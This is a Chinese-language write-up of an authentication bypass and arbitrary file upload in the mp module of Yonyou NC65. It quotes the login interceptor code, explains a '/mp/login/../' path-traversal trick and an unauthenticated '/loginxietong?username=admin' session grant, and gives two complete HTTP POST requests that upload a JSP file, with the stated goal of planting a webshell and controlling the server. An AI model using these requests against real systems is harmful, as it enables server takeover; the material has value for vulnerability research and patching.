通过mp模块进行任意文件上传,从而上传webshell实现控制服务器。
用友NC65
配置文件hotwebs/mp/WEB-INF/spring-mvc.xml
拦截器
<mvc:interceptors> <mvc:interceptor> <mvc:mapping path="/**" /> <bean id="loginInterceptor" class="com.yonyou.uap.mp.interceptor.LoginInterceptor" /> </mvc:interceptor> </mvc:interceptors>
在 \hotwebs\mp\WEB-INF\lib\uap.mp.core-0.1.0.jar
public boolean preHandle(HttpServletRequest request, HttpServletResponse response, Object handler) throws Exception { HttpSession session = request.getSession(); Object logined = session.getAttribute("user_logined"); String url = request.getRequestURL().toString(); if (!url.endsWith("mp/") && !url.endsWith("mp")) { if (url.endsWith("index.html")) { if (logined == null) { response.sendRedirect(request.getContextPath() + "/login.html"); return false; } else { return true; } } else if (!(handler instanceof HandlerMethod)) { return true; } else { HandlerMethod handler2 = (HandlerMethod)handler; ResponseBody json = (ResponseBody)handler2.getMethodAnnotation(ResponseBody.class); String msg = ""; boolean flag = false; logger.info(">>>: " + url); String[] arr$ = IGNORE_URI; int len$ = arr$.length; for(int i$ = 0; i$ < len$; ++i$) { String s = arr$[i$]; if (url.contains(s)) { flag = true; break; } } if (!flag) { msg = this.autoLogin(request); if (logined == null) { msg = StringUtils.isNotEmpty(msg) ? msg : "<a href='/mp/logout' class='tips_login'>您未登录或长时间未操作,请先登录<a/>"; if (null == json) { if (url.indexOf("indexforportal") >= 0) { response.sendRedirect("/mp?indexforportallogin=portallogin"); } else { response.sendRedirect("/mp"); } } else { MPUtils.sendResponseMsg(response, false, msg); } } else { flag = true; } } return flag; } } else if (logined == null) { response.sendRedirect(request.getContextPath() + "/login.html"); return false; } else { return true; } }
首先通过request.getRequestURL().toString()
拿到 url路径(不带参数),如果url不是以mp/
和mp
结尾,进入if,
if (url.endsWith("index.html"))
判断是否登录,登陆状态不拦截,否则拦截。
else if (!(handler instanceof HandlerMethod))
HandlerMethod是 Spring MVC 中用于表示控制器方法的类,如果请求的不是一个控制器方法,那么放行。正常来说我们请求接口是某个特定的控制器,所以一般在未登录状态下,请求后端接口时,会进入else循环,
HandlerMethod handler2 = (HandlerMethod)handler;
ResponseBody json = (ResponseBody)handler2.getMethodAnnotation(ResponseBody.class);
尝试从该方法上获取 @ResponseBody
注解的信息。如果方法上存在 @ResponseBody
注解,它将返回 @ResponseBody
注解的实例,否则将返回 null
。比如说 json形式。
private static final String[] IGNORE_URI = new String[]{"/initcfg", "/login", "/index", "/automsg", "/loginxietong", "/loginportal", "/signportal", "/loginportaldetail", "/loginportalmobile"};
接下来在url.contains(s)
会判断url中是否存在IGNORE_URI
中的内容,如果包含,将flag 设置为 true,跳过 if (!flag)
最终放行 return flag;
。
那么我们如果构造 url /mp/login/../xxxx
(假设xxx为某控制器方法),在tomcat处理中会将url 处理为 /mp/xxxx
,而request.getRequestURL()
和request.getRequestURI()
,这些危险字符并不会自动剔除掉,这里又符合 上边的流程导致鉴权被绕过。当然 login
可换成 IGNORE_URI
数组中的任意内容
后续在控制器方法中找到 UploadFileServlet::doPost
,恰好可上传任意文件
也可以配合/mp/loginxietong?username=admin
直接获取session,然后利用拿到的凭据通过鉴权。
@ResponseBody @RequestMapping( value = {"/loginxietong"}, method = {RequestMethod.GET} ) public ModelAndView login(@RequestParam("username") String username, HttpServletRequest request) { HttpSession session = request.getSession(); SessionUser user = new SessionUser(); user.setUserCode(username); user.setAdmin(false); user.setName(username); session.setAttribute("user_logined", user); logger.info("协同用户登录===>" + username); return new ModelAndView("redirect:/indexforxietong.html"); }
绕过鉴权
POST /mp/login/../uploadControl/uploadFile HTTP/1.1
Host: host
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryoDIsCqVMmF83ptmp
Content-Length: 314
------WebKitFormBoundaryoDIsCqVMmF83ptmp
Content-Disposition: form-data; name="file"; filename="test.jsp"
Content-Type: application/octet-stream
test content
------WebKitFormBoundaryoDIsCqVMmF83ptmp
Content-Disposition: form-data; name="submit"
上传
------WebKitFormBoundaryoDIsCqVMmF83ptmp
路径是 `/mp/uploadFileDir/test.jsp
另一种方法:
先获取 cookie:url+/mp/loginxietong?username=admin
POST /mp/uploadControl/uploadFile HTTP/1.1
Host: host
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: JSESSIONID=0884AE37CCD3416B96C5546D03E67F10.server; mp_name=admin;JSESSIONID=F5E62B60F069DA492605F276E527A71C.server
Connection: close
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryoDIsCqVMmF83ptmp
Content-Length: 314
------WebKitFormBoundaryoDIsCqVMmF83ptmp
Content-Disposition: form-data; name="file"; filename="test.jsp"
Content-Type: application/octet-stream
test content
------WebKitFormBoundaryoDIsCqVMmF83ptmp
Content-Disposition: form-data; name="submit"
上传
------WebKitFormBoundaryoDIsCqVMmF83ptmp